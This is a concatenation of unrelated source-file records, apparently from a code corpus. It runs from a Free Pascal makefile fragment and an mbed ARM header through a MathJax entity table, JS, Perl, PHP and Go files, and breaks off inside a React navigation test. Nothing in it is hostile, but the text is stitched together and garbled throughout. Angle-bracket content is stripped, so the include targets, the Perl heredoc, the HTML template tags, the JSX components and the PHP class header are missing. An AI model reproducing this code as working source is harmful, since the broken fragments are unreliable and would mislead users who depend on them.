$(PACKAGE_VERSION)\n\t@$(ECHO)\n\t@$(ECHO) == Configuration info ==\n\t@$(ECHO)\n\t@$(ECHO) FPC.......... $(FPC)\n\t@$(ECHO) FPC Version.. $(FPC_VERSION)\n\t@$(ECHO) Source CPU... $(CPU_SOURCE)\n\t@$(ECHO) Target CPU... $(CPU_TARGET)\n\t@$(ECHO) Source OS.... $(OS_SOURCE)\n\t@$(ECHO) Target OS.... $(OS_TARGET)\n\t@$(ECHO) Full Source.. $(FULL_SOURCE)\n\t@$(ECHO) Full Target.. $(FULL_TARGET)\n\t@$(ECHO) SourceSuffix. $(SOURCESUFFIX)\n\t@$(ECHO) TargetSuffix. $(TARGETSUFFIX)\n\t@$(ECHO) FPC fpmake... $(FPCFPMAKE)\n\t@$(ECHO)\n\t@$(ECHO) == Directory info ==\n\t@$(ECHO)\n\t@$(ECHO) Required pkgs... $(REQUIRE_PACKAGES)\n\t@$(ECHO)\n\t@$(ECHO) Basedir......... $(BASEDIR)\n\t@$(ECHO) FPCDir.......... $(FPCDIR)\n\t@$(ECHO) CrossBinDir..... $(CROSSBINDIR)\n\t@$(ECHO) UnitsDir........ $(UNITSDIR)\n\t@$(ECHO) PackagesDir..... $(PACKAGESDIR)\n\t@$(ECHO)\n\t@$(ECHO) GCC library..... $(GCCLIBDIR)\n\t@$(ECHO) Other library... $(OTHERLIBDIR)\n\t@$(ECHO)\n\t@$(ECHO) == Tools info ==\n\t@$(ECHO)\n\t@$(ECHO) As........ $(AS)\n\t@$(ECHO) Ld........ $(LD)\n\t@$(ECHO) Ar........ $(AR)\n\t@$(ECHO) Rc........ $(RC)\n\t@$(ECHO)\n\t@$(ECHO) Mv........ $(MVPROG)\n\t@$(ECHO) Cp........ $(CPPROG)\n\t@$(ECHO) Rm........ $(RMPROG)\n\t@$(ECHO) GInstall.. $(GINSTALL)\n\t@$(ECHO) Echo...... $(ECHO)\n\t@$(ECHO) Shell..... $(SHELL)\n\t@$(ECHO) Date...... $(DATE)\n\t@$(ECHO) FPCMake... $(FPCMAKE)\n\t@$(ECHO) PPUMove... $(PPUMOVE)\n\t@$(ECHO) Zip....... $(ZIPPROG)\n\t@$(ECHO)\n\t@$(ECHO) == Object info ==\n\t@$(ECHO)\n\t@$(ECHO) Target Loaders........ $(TARGET_LOADERS)\n\t@$(ECHO) Target Units.......... $(TARGET_UNITS)\n\t@$(ECHO) Target Implicit Units. $(TARGET_IMPLICITUNITS)\n\t@$(ECHO) Target Programs....... $(TARGET_PROGRAMS)\n\t@$(ECHO) Target Dirs........... $(TARGET_DIRS)\n\t@$(ECHO) Target Examples....... $(TARGET_EXAMPLES)\n\t@$(ECHO) Target ExampleDirs.... $(TARGET_EXAMPLEDIRS)\n\t@$(ECHO)\n\t@$(ECHO) Clean Units......... $(CLEAN_UNITS)\n\t@$(ECHO) Clean Files......... $(CLEAN_FILES)\n\t@$(ECHO)\n\t@$(ECHO) Install Units....... $(INSTALL_UNITS)\n\t@$(ECHO) Install Files....... $(INSTALL_FILES)\n\t@$(ECHO)\n\t@$(ECHO) == Install info ==\n\t@$(ECHO)\n\t@$(ECHO) DateStr.............. $(DATESTR)\n\t@$(ECHO) ZipName.............. $(ZIPNAME)\n\t@$(ECHO) ZipPrefix............ $(ZIPPREFIX)\n\t@$(ECHO) ZipCrossPrefix....... $(ZIPCROSSPREFIX)\n\t@$(ECHO) ZipSuffix............ $(ZIPSUFFIX)\n\t@$(ECHO) FullZipName.......... $(FULLZIPNAME)\n\t@$(ECHO) Install FPC Package.. $(INSTALL_FPCPACKAGE)\n\t@$(ECHO)\n\t@$(ECHO) Install base dir..... $(INSTALL_BASEDIR)\n\t@$(ECHO) Install binary dir... $(INSTALL_BINDIR)\n\t@$(ECHO) Install library dir.. $(INSTALL_LIBDIR)\n\t@$(ECHO) Install units dir.... $(INSTALL_UNITDIR)\n\t@$(ECHO) Install source dir... $(INSTALL_SOURCEDIR)\n\t@$(ECHO) Install doc dir...... $(INSTALL_DOCDIR)\n\t@$(ECHO) Install example dir.. $(INSTALL_EXAMPLEDIR)\n\t@$(ECHO) Install data dir..... $(INSTALL_DATADIR)\n\t@$(ECHO)\n\t@$(ECHO) Dist destination dir. $(DIST_DESTDIR)\n\t@$(ECHO) Dist zip name........ $(DIST_ZIPNAME)\n\t@$(ECHO)\n.PHONY: fpc_info\nfpc_info: $(INFORULES)\n.PHONY: fpc_makefile fpc_makefiles fpc_makefile_sub1 fpc_makefile_sub2 \\\n\tfpc_makefile_dirs\nfpc_makefile:\n\t$(FPCMAKE) -w -T$(OS_TARGET) Makefile.fpc\nfpc_makefile_sub1:\nifdef TARGET_DIRS\n\t$(FPCMAKE) -w -T$(OS_TARGET) $(addsuffix /Makefile.fpc,$(TARGET_DIRS))\nendif\nifdef TARGET_EXAMPLEDIRS\n\t$(FPCMAKE) -w -T$(OS_TARGET) $(addsuffix /Makefile.fpc,$(TARGET_EXAMPLEDIRS))\nendif\nfpc_makefile_sub2: $(addsuffix _makefile_dirs,$(TARGET_DIRS) $(TARGET_EXAMPLEDIRS))\nfpc_makefile_dirs: fpc_makefile_sub1 fpc_makefile_sub2\nfpc_makefiles: fpc_makefile fpc_makefile_dirs\nunits:\nexamples:\nshared:\nsourceinstall: fpc_sourceinstall\nexampleinstall: fpc_exampleinstall\nzipexampleinstall: fpc_zipexampleinstall\ninfo: fpc_info\nmakefiles: fpc_makefiles\n.PHONY: units examples shared sourceinstall exampleinstall zipexampleinstall info makefiles\nifneq ($(wildcard fpcmake.loc),)\ninclude fpcmake.loc\nendif\noverride FPCOPT:=$(filter-out -FU%,$(FPCOPT))\noverride FPCOPT:=$(filter-out -FE%,$(FPCOPT))\noverride FPCOPT:=$(filter-out $(addprefix -Fu,$(COMPILER_UNITDIR)),$(FPCOPT))# Compose general fpmake-parameters\nifdef FPMAKEOPT\nFPMAKE_OPT+=$(FPMAKEOPT)\nendif\nFPMAKE_OPT+=--localunitdir=../..\nFPMAKE_OPT+=--globalunitdir=..\nFPMAKE_OPT+=$(FPC_TARGETOPT)\nFPMAKE_OPT+=$(addprefix -o ,$(FPCOPT))\nFPMAKE_OPT+=--compiler=$(FPC)\nFPMAKE_OPT+=-bu\n.NOTPARALLEL:\nfpmake$(SRCEXEEXT): fpmake.pp\n\t$(FPCFPMAKE) fpmake.pp $(FPMAKE_SKIP_CONFIG) $(addprefix -Fu,$(COMPILER_FPMAKE_UNITDIR)) $(FPCMAKEOPT) $(OPT)\nall:\tfpmake$(SRCEXEEXT)\n\t$(LOCALFPMAKE) compile $(FPMAKE_OPT)\nsmart:\tfpmake$(SRCEXEEXT)\n\t$(LOCALFPMAKE) compile $(FPMAKE_OPT) -o -XX -o -CX\nrelease:\tfpmake$(SRCEXEEXT)\n\t$(LOCALFPMAKE) compile $(FPMAKE_OPT) -o -dRELEASE\ndebug:\tfpmake$(SRCEXEEXT)\n\t$(LOCALFPMAKE) compile $(FPMAKE_OPT) -o -dDEBUG\nifeq ($(FPMAKE_BIN_CLEAN),)\nclean:\nelse\nclean:\n\t$(FPMAKE_BIN_CLEAN) clean $(FPMAKE_OPT)\nendif\nifeq ($(FPMAKE_BIN_CLEAN),)\ndistclean:\t$(addsuffix _distclean,$(TARGET_DIRS)) fpc_cleanall\nelse\ndistclean:\nifdef inUnix\n\t{ $(FPMAKE_BIN_CLEAN) distclean $(FPMAKE_OPT); if [ $$? != \"0\" ]; then { echo Something wrong with fpmake exectable. Remove the executable and call make recursively to recover.; $(DEL) $(FPMAKE_BIN_CLEAN); $(MAKE) fpc_cleanall; }; fi; }\nelse\n\t$(FPMAKE_BIN_CLEAN) distclean $(FPMAKE_OPT)\nendif\n\t-$(DEL) $(LOCALFPMAKE)\nendif\ncleanall: distclean\ninstall:\tfpmake$(SRCEXEEXT)\nifdef UNIXHier\n\t$(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_PREFIX) --baseinstalldir=$(INSTALL_LIBDIR)/fpc/$(FPC_VERSION) --unitinstalldir=$(INSTALL_UNITDIR)\nelse\n\t$(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_BASEDIR) --baseinstalldir=$(INSTALL_BASEDIR) --unitinstalldir=$(INSTALL_UNITDIR)\nendif\ndistinstall:\tfpmake$(SRCEXEEXT)\nifdef UNIXHier\n\t$(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_PREFIX) --baseinstalldir=$(INSTALL_LIBDIR)/fpc/$(FPC_VERSION) --unitinstalldir=$(INSTALL_UNITDIR) -ie -fsp 0\nelse\n\t$(LOCALFPMAKE) install $(FPMAKE_OPT) --prefix=$(INSTALL_BASEDIR) --baseinstalldir=$(INSTALL_BASEDIR) --unitinstalldir=$(INSTALL_UNITDIR) -ie -fsp 0\nendif\nzipinstall:\tfpmake$(SRCEXEEXT)\n\t$(LOCALFPMAKE) zipinstall $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX)\nzipdistinstall:\tfpmake$(SRCEXEEXT)\n\t$(LOCALFPMAKE) zipinstall $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX) -ie -fsp 0\nzipsourceinstall:\tfpmake$(SRCEXEEXT)\nifdef UNIXHier\n\t$(LOCALFPMAKE) archive $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX) --prefix=share/src/fpc-\\$$\\(PACKAGEVERSION\\)/$(INSTALL_FPCSUBDIR)/\\$$\\(PACKAGEDIRECTORY\\)\nelse\n\t$(LOCALFPMAKE) archive $(FPMAKE_OPT) --zipprefix=$(DIST_DESTDIR)/$(ZIPPREFIX) --prefix=source\\\\$(INSTALL_FPCSUBDIR)\\\\\\$$\\(PACKAGEDIRECTORY\\)\nendif\n"} -{"text": "/* mbed Microcontroller Library\n * Copyright (C) 2008-2015 ARM Limited. All rights reserved.\n *\n * ARM7 version of CMSIS-like functionality - not advised for use outside mbed!\n * based on core_cm3.h, V1.20\n */\n\n#include \n\n\n/* define compiler specific symbols */\n#if defined ( __CC_ARM )\n #define __ASM __asm /*!< asm keyword for armcc */\n #define __INLINE __inline /*!< inline keyword for armcc */\n\n#elif defined ( __ICCARM__ )\n #define __ASM __asm /*!< asm keyword for iarcc */\n #define __INLINE inline /*!< inline keyword for iarcc. Only avaiable in High optimization mode! */\n\n#elif defined ( __GNUC__ )\n #define __ASM __asm /*!< asm keyword for gcc */\n #define __INLINE inline /*!< inline keyword for gcc */\n\n#elif defined ( __TASKING__ )\n #define __ASM __asm /*!< asm keyword for TASKING Compiler */\n #define __INLINE inline /*!< inline keyword for TASKING Compiler */\n\n#endif\n\n#if defined ( __CC_ARM )\n/**\n * @brief Return the Main Stack Pointer (return current ARM7 stack)\n *\n * @param none\n * @return uint32_t Main Stack Pointer\n *\n * Return the current value of the MSP (main stack pointer)\n * Cortex processor register\n */\nuint32_t __get_MSP(void)\n{\n return __current_sp();\n}\n#endif\n"} -{"text": "package baas\n\n//Licensed under the Apache License, Version 2.0 (the \"License\");\n//you may not use this file except in compliance with the License.\n//You may obtain a copy of the License at\n//\n//http://www.apache.org/licenses/LICENSE-2.0\n//\n//Unless required by applicable law or agreed to in writing, software\n//distributed under the License is distributed on an \"AS IS\" BASIS,\n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n//See the License for the specific language governing permissions and\n//limitations under the License.\n//\n// Code generated by Alibaba Cloud SDK Code Generator.\n// Changes may cause incorrect behavior and will be lost if the code is regenerated.\n\n// AntChainsItem is a nested struct in baas response\ntype AntChainsItem struct {\n\tAntChainName string `json:\"AntChainName\" xml:\"AntChainName\"`\n\tRegionId string `json:\"RegionId\" xml:\"RegionId\"`\n\tResourceSize string `json:\"ResourceSize\" xml:\"ResourceSize\"`\n\tChainType string `json:\"ChainType\" xml:\"ChainType\"`\n\tNodeNum int `json:\"NodeNum\" xml:\"NodeNum\"`\n\tCreateTime int64 `json:\"CreateTime\" xml:\"CreateTime\"`\n\tMemberStatus string `json:\"MemberStatus\" xml:\"MemberStatus\"`\n\tTlsAlgo string `json:\"TlsAlgo\" xml:\"TlsAlgo\"`\n\tCipherSuit string `json:\"CipherSuit\" xml:\"CipherSuit\"`\n\tMerkleTreeSuit string `json:\"MerkleTreeSuit\" xml:\"MerkleTreeSuit\"`\n\tAntChainId string `json:\"AntChainId\" xml:\"AntChainId\"`\n\tIsAdmin bool `json:\"IsAdmin\" xml:\"IsAdmin\"`\n\tNetwork string `json:\"Network\" xml:\"Network\"`\n\tExpireTime int64 `json:\"ExpireTime\" xml:\"ExpireTime\"`\n}\n"} -{"text": "/*************************************************************\n *\n * MathJax/jax/output/HTML-CSS/entities/l.js\n *\n * Copyright (c) 2010-2018 The MathJax Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n(function (MATHML) {\n MathJax.Hub.Insert(MATHML.Parse.Entity,{\n 'LJcy': '\\u0409',\n 'LT': '\\u003C',\n 'Lacute': '\\u0139',\n 'Lang': '\\u27EA',\n 'Laplacetrf': '\\u2112',\n 'Lcaron': '\\u013D',\n 'Lcedil': '\\u013B',\n 'Lcy': '\\u041B',\n 'LeftArrowBar': '\\u21E4',\n 'LeftDoubleBracket': '\\u27E6',\n 'LeftDownTeeVector': '\\u2961',\n 'LeftDownVectorBar': '\\u2959',\n 'LeftRightVector': '\\u294E',\n 'LeftTeeArrow': '\\u21A4',\n 'LeftTeeVector': '\\u295A',\n 'LeftTriangleBar': '\\u29CF',\n 'LeftUpDownVector': '\\u2951',\n 'LeftUpTeeVector': '\\u2960',\n 'LeftUpVectorBar': '\\u2958',\n 'LeftVectorBar': '\\u2952',\n 'LessLess': '\\u2AA1',\n 'Lmidot': '\\u013F',\n 'LowerLeftArrow': '\\u2199',\n 'LowerRightArrow': '\\u2198',\n 'Lstrok': '\\u0141',\n 'Lt': '\\u226A',\n 'lAarr': '\\u21DA',\n 'lArr': '\\u21D0',\n 'lAtail': '\\u291B',\n 'lBarr': '\\u290E',\n 'lE': '\\u2266',\n 'lHar': '\\u2962',\n 'lacute': '\\u013A',\n 'laemptyv': '\\u29B4',\n 'lagran': '\\u2112',\n 'lang': '\\u27E8',\n 'langd': '\\u2991',\n 'langle': '\\u27E8',\n 'laquo': '\\u00AB',\n 'larr': '\\u2190',\n 'larrb': '\\u21E4',\n 'larrbfs': '\\u291F',\n 'larrfs': '\\u291D',\n 'larrhk': '\\u21A9',\n 'larrpl': '\\u2939',\n 'larrsim': '\\u2973',\n 'lat': '\\u2AAB',\n 'latail': '\\u2919',\n 'late': '\\u2AAD',\n 'lates': '\\u2AAD\\uFE00',\n 'lbarr': '\\u290C',\n 'lbbrk': '\\u2772',\n 'lbrke': '\\u298B',\n 'lbrksld': '\\u298F',\n 'lbrkslu': '\\u298D',\n 'lcaron': '\\u013E',\n 'lcedil': '\\u013C',\n 'lceil': '\\u2308',\n 'lcub': '\\u007B',\n 'lcy': '\\u043B',\n 'ldca': '\\u2936',\n 'ldquo': '\\u201C',\n 'ldquor': '\\u201E',\n 'ldrdhar': '\\u2967',\n 'ldrushar': '\\u294B',\n 'ldsh': '\\u21B2',\n 'leftarrow': '\\u2190',\n 'leftarrowtail': '\\u21A2',\n 'leftharpoondown': '\\u21BD',\n 'leftharpoonup': '\\u21BC',\n 'leftrightarrow': '\\u2194',\n 'leftrightarrows': '\\u21C6',\n 'leftrightharpoons': '\\u21CB',\n 'leftrightsquigarrow': '\\u21AD',\n 'leg': '\\u22DA',\n 'leq': '\\u2264',\n 'leqq': '\\u2266',\n 'leqslant': '\\u2A7D',\n 'les': '\\u2A7D',\n 'lescc': '\\u2AA8',\n 'lesdot': '\\u2A7F',\n 'lesdoto': '\\u2A81',\n 'lesdotor': '\\u2A83',\n 'lesg': '\\u22DA\\uFE00',\n 'lesges': '\\u2A93',\n 'lessapprox': '\\u2A85',\n 'lesseqgtr': '\\u22DA',\n 'lesseqqgtr': '\\u2A8B',\n 'lessgtr': '\\u2276',\n 'lesssim': '\\u2272',\n 'lfisht': '\\u297C',\n 'lfloor': '\\u230A',\n 'lg': '\\u2276',\n 'lgE': '\\u2A91',\n 'lhard': '\\u21BD',\n 'lharu': '\\u21BC',\n 'lharul': '\\u296A',\n 'lhblk': '\\u2584',\n 'ljcy': '\\u0459',\n 'll': '\\u226A',\n 'llarr': '\\u21C7',\n 'llcorner': '\\u231E',\n 'llhard': '\\u296B',\n 'lltri': '\\u25FA',\n 'lmidot': '\\u0140',\n 'lmoustache': '\\u23B0',\n 'lnapprox': '\\u2A89',\n 'lneq': '\\u2A87',\n 'lneqq': '\\u2268',\n 'loang': '\\u27EC',\n 'loarr': '\\u21FD',\n 'lobrk': '\\u27E6',\n 'longleftarrow': '\\u27F5',\n 'longleftrightarrow': '\\u27F7',\n 'longrightarrow': '\\u27F6',\n 'looparrowleft': '\\u21AB',\n 'lopar': '\\u2985',\n 'loplus': '\\u2A2D',\n 'lotimes': '\\u2A34',\n 'lowbar': '\\u005F',\n 'lozenge': '\\u25CA',\n 'lozf': '\\u29EB',\n 'lpar': '\\u0028',\n 'lparlt': '\\u2993',\n 'lrarr': '\\u21C6',\n 'lrcorner': '\\u231F',\n 'lrhar': '\\u21CB',\n 'lrhard': '\\u296D',\n 'lrm': '\\u200E',\n 'lrtri': '\\u22BF',\n 'lsaquo': '\\u2039',\n 'lsh': '\\u21B0',\n 'lsim': '\\u2272',\n 'lsime': '\\u2A8D',\n 'lsimg': '\\u2A8F',\n 'lsqb': '\\u005B',\n 'lsquo': '\\u2018',\n 'lsquor': '\\u201A',\n 'lstrok': '\\u0142',\n 'ltcc': '\\u2AA6',\n 'ltcir': '\\u2A79',\n 'ltdot': '\\u22D6',\n 'lthree': '\\u22CB',\n 'ltlarr': '\\u2976',\n 'ltquest': '\\u2A7B',\n 'ltrPar': '\\u2996',\n 'ltrie': '\\u22B4',\n 'ltrif': '\\u25C2',\n 'lurdshar': '\\u294A',\n 'luruhar': '\\u2966',\n 'lvertneqq': '\\u2268\\uFE00',\n 'lvnE': '\\u2268\\uFE00'\n });\n\n MathJax.Ajax.loadComplete(MATHML.entityDir+\"/l.js\");\n\n})(MathJax.InputJax.MathML);\n"} -{"text": "/**\n * File Name: exception-008\n * ECMA Section:\n * Description: Tests for JavaScript Standard Exceptions\n *\n * SyntaxError.\n *\n * Author: christine@netscape.com\n * Date: 31 August 1998\n */\n var SECTION = \"exception-008\";\n var VERSION = \"js1_4\";\n var TITLE = \"Tests for JavaScript Standard Exceptions: SyntaxError\";\n\n startTest();\n writeHeaderToLog( SECTION + \" \"+ TITLE);\n\n var tc = 0;\n var testcases = new Array();\n\n Syntax_1();\n\n test();\n\n function Syntax_1() {\n result = \"failed: no exception thrown\";\n exception = null;\n\n try {\n result = eval(\"continue;\");\n } catch ( e ) {\n result = \"passed: threw exception\",\n exception = e.toString();\n } finally {\n testcases[tc++] = new TestCase(\n SECTION,\n \"eval(\\\"continue\\\") [ exception is \" + exception +\" ]\",\n \"passed: threw exception\",\n result );\n }\n }\n"} -{"text": "# contributor: rejeep \n# name: clear: ...\n# key: cl\n# --\nclear: $1;"} -{"text": "#!/usr/bin/env perl\n# Copyright 2009 The Go Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style\n# license that can be found in the LICENSE file.\n#\n# Generate system call table for OpenBSD from master list\n# (for example, /usr/src/sys/kern/syscalls.master).\n\nuse strict;\n\nif($ENV{'GOARCH'} eq \"\" || $ENV{'GOOS'} eq \"\") {\n\tprint STDERR \"GOARCH or GOOS not defined in environment\\n\";\n\texit 1;\n}\n\nmy $command = \"mksysnum_netbsd.pl \" . join(' ', @ARGV);\n\nprint <){\n\tif($line =~ /^(.*)\\\\$/) {\n\t\t# Handle continuation\n\t\t$line = $1;\n\t\t$_ =~ s/^\\s+//;\n\t\t$line .= $_;\n\t} else {\n\t\t# New line\n\t\t$line = $_;\n\t}\n\tnext if $line =~ /\\\\$/;\n\tif($line =~ /^([0-9]+)\\s+((STD)|(NOERR))\\s+(RUMP\\s+)?({\\s+\\S+\\s*\\*?\\s*\\|(\\S+)\\|(\\S*)\\|(\\w+).*\\s+})(\\s+(\\S+))?$/) {\n\t\tmy $num = $1;\n\t\tmy $proto = $6;\n\t\tmy $compat = $8;\n\t\tmy $name = \"$7_$9\";\n\n\t\t$name = \"$7_$11\" if $11 ne '';\n\t\t$name =~ y/a-z/A-Z/;\n\n\t\tif($compat eq '' || $compat eq '30' || $compat eq '50') {\n\t\t\tprint \"\t$name = $num; // $proto\\n\";\n\t\t}\n\t}\n}\n\nprint <\n{{template \"header2\" .}}\n
    \n \n \n

    \n \n

    \n \n
    \n Create account\n{{template \"footer\"}}"} -{"text": "{\n \"extends\": \"../tsconfig.base.json\",\n \"compilerOptions\": {\n \"baseUrl\": \".\",\n \"outDir\": \"../out-tsc/lib\",\n \"target\": \"es2015\",\n \"module\": \"es2015\",\n \"moduleResolution\": \"node\",\n \"declaration\": true,\n \"sourceMap\": true,\n \"inlineSources\": true,\n \"emitDecoratorMetadata\": true,\n \"experimentalDecorators\": true,\n \"importHelpers\": true,\n \"lib\": [\n \"dom\",\n \"es2015\"\n ]\n },\n \"angularCompilerOptions\": {\n \"skipTemplateCodegen\": true,\n \"strictMetadataEmit\": true,\n \"fullTemplateTypeCheck\": true,\n \"strictInjectionParameters\": true,\n \"flatModuleId\": \"AUTOGENERATED\",\n \"flatModuleOutFile\": \"AUTOGENERATED\"\n },\n \"exclude\": [\n \"src/test.ts\",\n \"**/*.spec.ts\"\n ]\n}\n"} -{"text": "obj = new ReminderCustomizationType();\n }\n\n public function testCanBeCreated()\n {\n $this->assertInstanceOf('\\DTS\\eBaySDK\\Trading\\Types\\ReminderCustomizationType', $this->obj);\n }\n\n public function testExtendsBaseType()\n {\n $this->assertInstanceOf('\\DTS\\eBaySDK\\Types\\BaseType', $this->obj);\n }\n}\n"} -{"text": "package cat\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n)\n\n// SyntheticsHeader represents a decoded Synthetics header.\ntype SyntheticsHeader struct {\n\tVersion int\n\tAccountID int\n\tResourceID string\n\tJobID string\n\tMonitorID string\n}\n\nvar (\n\terrInvalidSyntheticsJSON = errors.New(\"invalid synthetics JSON\")\n\terrInvalidSyntheticsVersion = errors.New(\"version is not a float64\")\n\terrInvalidSyntheticsAccountID = errors.New(\"account ID is not a float64\")\n\terrInvalidSyntheticsResourceID = errors.New(\"synthetics resource ID is not a string\")\n\terrInvalidSyntheticsJobID = errors.New(\"synthetics job ID is not a string\")\n\terrInvalidSyntheticsMonitorID = errors.New(\"synthetics monitor ID is not a string\")\n)\n\ntype errUnexpectedSyntheticsVersion int\n\nfunc (e errUnexpectedSyntheticsVersion) Error() string {\n\treturn fmt.Sprintf(\"unexpected synthetics header version: %d\", e)\n}\n\n// UnmarshalJSON unmarshalls a SyntheticsHeader from raw JSON.\nfunc (s *SyntheticsHeader) UnmarshalJSON(data []byte) error {\n\tvar ok bool\n\tvar v interface{}\n\n\tif err := json.Unmarshal(data, &v); err != nil {\n\t\treturn err\n\t}\n\n\tarr, ok := v.([]interface{})\n\tif !ok {\n\t\treturn errInvalidSyntheticsJSON\n\t}\n\tif len(arr) != 5 {\n\t\treturn errUnexpectedArraySize{\n\t\t\tlabel: \"unexpected number of application data elements\",\n\t\t\texpected: 5,\n\t\t\tactual: len(arr),\n\t\t}\n\t}\n\n\tversion, ok := arr[0].(float64)\n\tif !ok {\n\t\treturn errInvalidSyntheticsVersion\n\t}\n\ts.Version = int(version)\n\tif s.Version != 1 {\n\t\treturn errUnexpectedSyntheticsVersion(s.Version)\n\t}\n\n\taccountID, ok := arr[1].(float64)\n\tif !ok {\n\t\treturn errInvalidSyntheticsAccountID\n\t}\n\ts.AccountID = int(accountID)\n\n\tif s.ResourceID, ok = arr[2].(string); !ok {\n\t\treturn errInvalidSyntheticsResourceID\n\t}\n\n\tif s.JobID, ok = arr[3].(string); !ok {\n\t\treturn errInvalidSyntheticsJobID\n\t}\n\n\tif s.MonitorID, ok = arr[4].(string); !ok {\n\t\treturn errInvalidSyntheticsMonitorID\n\t}\n\n\treturn nil\n}\n"} -{"text": "import React from 'react';\nimport { expect } from 'chai';\nimport sinon from 'sinon-sandbox';\nimport { shallow } from 'enzyme';\n\nimport DayPickerNavigation from '../../src/components/DayPickerNavigation';\nimport RightArrow from '../../src/components/RightArrow';\nimport LeftArrow from '../../src/components/LeftArrow';\nimport { VERTICAL_ORIENTATION } from '../../src/constants';\n\ndescribe('DayPickerNavigation', () => {\n describe('#render', () => {\n it('renders two role=\"button\" divs', () => {\n const wrapper = shallow().dive();\n expect(wrapper.find('[role=\"button\"]')).to.have.lengthOf(2);\n });\n\n it('renders one button when showNavNextButton is false', () => {\n const wrapper = shallow().dive();\n expect(wrapper.find('[role=\"button\"]')).to.have.lengthOf(1);\n });\n\n it('renders one button when showNavNextButton is false', () => {\n const wrapper = shallow().dive();\n expect(wrapper.find('[role=\"button\"]')).to.have.lengthOf(1);\n });\n\n it('is null when showNavNextButton and showNavPrevButton are both false', () => {\n const wrapper = shallow(\n ,\n ).dive();\n expect(wrapper.type()).to.equal(null);\n });\n\n it('tabindex is present when the default buttons are used', () => {\n const wrapper = shallow().dive();\n const prevMonthButton = wrapper.find('[role=\"button\"]').at(0);\n const nextMonthButton = wrapper.find('[role=\"button\"]').at(1);\n expect(prevMonthButton.prop('tabIndex')).to.equal('0');\n expect(nextMonthButton.prop('tabIndex')).to.equal('0');\n });\n\n it('tabindex is not present when custom buttons are used', () => {\n const wrapper = shallow(} navPrev={
    } />).dive();\n const prevMonthButton = wrapper.find('[role=\"button\"]').at(0);\n const nextMonthButton = wrapper.find('[role=\"button\"]').at(1);\n expect(prevMonthButton.prop('tabIndex')).to.equal(undefined);\n expect(nextMonthButton.prop('tabIndex')).to.equal(undefined);\n });\n\n it('tabindex is present when custom buttons are used and provide a tabIndex', () => {\n const wrapper = shallow(\n } // eslint-disable-line jsx-a11y/no-noninteractive-tabindex\n navPrev={
    } // eslint-disable-line jsx-a11y/no-noninteractive-tabindex\n />,\n ).dive();\n const prevMonthButton = wrapper.find('#navPrev');\n const nextMonthButton = wrapper.find('#navNext');\n expect(prevMonthButton.prop('tabIndex')).to.equal('0');\n expect(nextMonthButton.prop('tabIndex')).to.equal('0');\n });\n\n it('uses RightArrow as the default prev icon for RTL', () => {\n const wrapper = shallow().dive();\n expect(wrapper.childAt(0).find(RightArrow)).to.have.lengthOf(1);\n });\n\n it('uses LeftArrow as the default next icon for RTL', () => {\n const wrapper = shallow().dive();\n expect(wrapper.childAt(1).find(LeftArrow)).to.have.lengthOf(1);\n });\n\n it('calls renderNavPrevButton when custom prev button is used', () => {\n const renderNavPrevButtonStub = sinon.stub().returns();\n const wrapper = shallow(\n ,\n ).dive();\n expect(wrapper.childAt(0).find('div[role=\"button\"]')).to.have.lengthOf(0);\n expect(renderNavPrevButtonStub).to.have.property('callCount', 1);\n });\n\n it('calls renderNavNextButton when custom next button is used', () => {\n const renderNavNextButtonStub = sinon.stub().returns();\n const wrapper = shallow(\n ,\n ).dive();\n expect(wrapper.childAt(1).find('div[role=\"button\"]')).to.have.lengthOf(0);\n expect(renderNavNextButtonStub).to.have.property('callCount', 1);\n });\n\n it('does not render default styles when custom navigation is used', () => {\n const renderNavPrevButtonStub = sinon.stub().returns();\n const renderNavNextButtonStub = sinon.stub().returns();\n const wrapper = shallow(\n ,\n ).dive();\n const wrapperDiv = wrapper.find('div').filterWhere((div) => {\n const className = div.prop('className') || '';\n return className.includes('DayPickerNavigation__verticalDefault');\n });\n expect(wrapperDiv).to.have.lengthOf(0);\n });\n\n it('does render default styles when custom navigation is used for only one nav button', () => {\n const renderNavPrevButtonStub = sinon.stub().returns();\n const wrapper = shallow(\n ,\n ).dive();\n const wrapperDiv = wrapper.find('div').filterWhere((div) => {\n const className = div.prop('className') || '';\n return className.includes('DayPickerNavigation__verticalDefault');\n });\n expect(wrapperDiv).to.have.lengthOf(1);\n });\n\n it('does not render default styles when custom navigation is used for only button but the other nav button is not shown', () => {\n const renderNavPrevButtonStub = sinon.stub().returns();\n const wrapper = shallow(\n ,\n ).dive();\n const wrapperDiv = wrapper.find('div').filterWhere((div) => {\n const className = div.prop('className') || '';\n return className.includes('DayPickerNavigation__verticalDefault');\n });\n expect(wrapperDiv).to.have.lengthOf(0);\n });\n\n it('renders default styles when default navigation is used', () => {\n const wrapper = shallow(\n ,\n ).dive();\n const wrapperDiv = wrapper.find('div').filterWhere((div) => {\n const className = div.prop('className') || '';\n return className.includes('DayPickerNavigation__verticalDefault');\n });\n expect(wrapperDiv).to.have.lengthOf(1);\n });\n });\n\n describe('interactions', () => {\n it('props.onPrevMonthClick is triggered by prev month button click', () => {\n const onPrevMonthStub = sinon.stub();\n const prevMonthButton = shallow().dive().find('[role=\"button\"]').at(0);\n prevMonthButton.simulate('click');\n expect(onPrevMonthStub).to.have.property('callCount', 1);\n });\n\n it('props.onNextMonthClick is triggered by next month button click', () => {\n const onNextMonthStub = sinon.stub();\n const nextMonthButton = shallow().dive().find('[role=\"button\"]').at(1);\n nextMonthButton.simulate('click');\n expect(onNextMonthStub).to.have.property('callCount', 1);\n });\n\n it('props.onPrevMonthClick is not triggered by prev month disabled click', () => {\n const 